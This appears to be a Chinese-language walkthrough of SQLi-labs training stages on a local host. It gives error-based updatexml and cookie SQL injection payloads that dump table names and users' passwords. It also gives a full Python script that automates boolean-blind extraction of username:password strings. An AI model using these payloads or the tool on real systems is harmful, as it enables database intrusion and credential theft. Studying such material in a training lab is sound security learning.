', updatexml(1, concat(0x7e, (select username from (select username,password from users limit 3, 1) test), “:”, (select password from (select username,password from users limit 3, 1) test2)), 1))#
这两关应该都是用在已经注册了用户知道其中一个用户名密码的情况下的测试,不然根本测不了
Cookie注入,怎么注入呢,抓包看下吧
登录后发现有两个包,其中一个存在cookie
重放看下能不能注入
看报错应该是只有一个参数
轮子就是 ’ and #或’ and --+
’ and updatexml(1,concat(0x7e,(SELECT database())),0x7e)–+
这里要注意两边的括号数是不是相等
’ and updatexml(1, concat(0x7e,(select GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema = ‘security’ limit 0,1),0x7e), 0x7e)–+
’ and updatexml(1, concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security” limit 0,1),0x7e), 0x7e)–+
’ and updatexml(1, concat(0x7e, (select username from (select username,password from users limit 3, 1) test), “:”, (select password from (select username,password from users limit 3, 1) test2)), 1)–+
接下来这个单元我们要开发个工具,专门用于sql注入
输入是个文本,里面是我们写好sql注入的url,我们这里已经是基于批量读取的模块开发
可以看到两个网页都只是返回200,那么我们怎么获取网页内容呢
发现在返回200的时候执行以下语句可以获取网页内容
其实这里我有个想法,就是输出用户指定关键字的内容,而不是整个网页都输出来,那样很乱,比如这里的You are in就是个关键字,找到后输出那一行就行,找不到就说找不到,然后每次把找到的结果和url 一起输出到文本中
比如像下面这样
可以看到我们获取到了到指定位置所在行数据
接下来我们还可以做个url输入函数,这样不用手动去改输入文本
比如我们需要遍历写入
127.0.0.1:9009/Less-5/?id=14’ and substr(substr((select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=“security”), 1), 2, 1)=‘d’–+
像这样遍历写入生成文本
接下来只需要把每次的结果写到文本里就行,像这样,只是把有输出结果的写到文本里就行
经过验证,确实只有2和20在界面上有响应
也就是说第二个字母和第20个字母都是d,而事实也确实如此
如此,单个字母的遍历就完成了,接下来再加一重循环就可以完整遍历整个字符串了
像这样遍历每个字母生成url
是不是刚好有id username pa只是还少特殊符号和数字,这里只是把26个字母的遍历加进去了,加上这些之后
以下是这个工具的完整代码
import requests
import os
import sys
def writeurl(file, url, ends1, ends2, num):
s = ['`', '!', '@', '#', '$', '%', '^', '&', '*', '(', ')', '-', ',', '.', ':']
for i in range(1, num):
for k in range(26):
content = url
content += str(i)
content += ends1
content += "'"
content += chr(ord('a') + k)
content += "'"
content += ends2
file.write(content)
for k in range(10):
content = url
content += str(i)
content += ends1
content += "'"
content += chr(ord('0') + k)
content += "'"
content += ends2
file.write(content)
for k in s:
content = url
content += str(i)
content += ends1
content += "'"
content += k
content += "'"
content += ends2
file.write(content)
def myfind(content, key):
if content.find(key) != -1:
j = 0
s = []
start = 0
end = 0
for i in content:
j += 1
if i == '\n' and j < content.find(key):
start = j
if j > content.find(key):
if i == '\n':
end = j
break
str1 = ""
j = 0
for i in content:
j+=1
if j > start and j < end:
s.append(i)
str1 = str1.join(s)
print(str1)
return str1
def getlength(text, value):
if len(text) == value:
return True
else:
return False
if __name__ == "__main__":
url = "127.0.0.1:9009/Less-9/?id=14' and substr(substr((select group_concat(username, ':', password) from users), 1), "
j = 'a'
fp = open("url1.txt", "w")
#21是目标长度
writeurl(fp, url, ", 1)=", "--+\n", 188+1)
fp.close()
searchtype = 1 #0是内容查询 1是长度查询
file_name = input() #读取文件名
b = os.path.exists(file_name) #先判断文件是否存在
if b == False:
print("文件不存在")
else:
fp1 = open(file_name, "r") #以只读,打开文件
fp2 = open("result.txt", "w")
fp3 = open("output.txt", "w")
for line in fp1.readlines(): #readlines 按行读取文件,会保留'\n',返回一个(文件中一行为一个元素)列表
url = "http://" + line #利用line遍历列表,加上https://,使它成为完整的url
url = url.replace("\n","") #把文件中读出来时,末尾的‘\n’去掉(替换成空)
#print(url)
try: #异常处理
code = requests.get(url,allow_redirects=False, timeout=5).status_code #获取状态码,通过状态码判断url网址状态
#print(code)
if (code == 200 or code == 412): #将状态码为200的保存到result.txt文件中
fp2.write(url + "\n") #写入时要加入'\n',不会自动添加
response = requests.get(url)
if searchtype == 0:
content = myfind(response.text, "You are in")
if content != None:
print(content)
c = url
c += ":"
c += content
c += "\n"
fp3.write(c)
elif searchtype == 1:
right = getlength(response.text, 707)
if right == True:
print(right)
c = url
c += ":"
c += "\n"
fp3.write(c)
except requests.exceptions.ConnectionError: #requests.exceptions.ConnectionError是一种异常类型
#利用except捕获错误,做出回显(屏幕上有反应),有异常处理,就不会中断脚本运行
print("Connection Error")
except Exception as e: #其他错误
print("未知错误")
fp1.close()
fp2.close()
fp3.close()
ss = []
with open('output.txt', 'r') as f:
for line in f.readlines():
pos = line.find("'--+:") - 1
if pos > 0:
ss.append(line[pos])
f.close()
with open('output.txt', 'a+') as f:
str1 = ""
str1 = str1.join(ss)
f.write(str1)
f.close()
print(str1)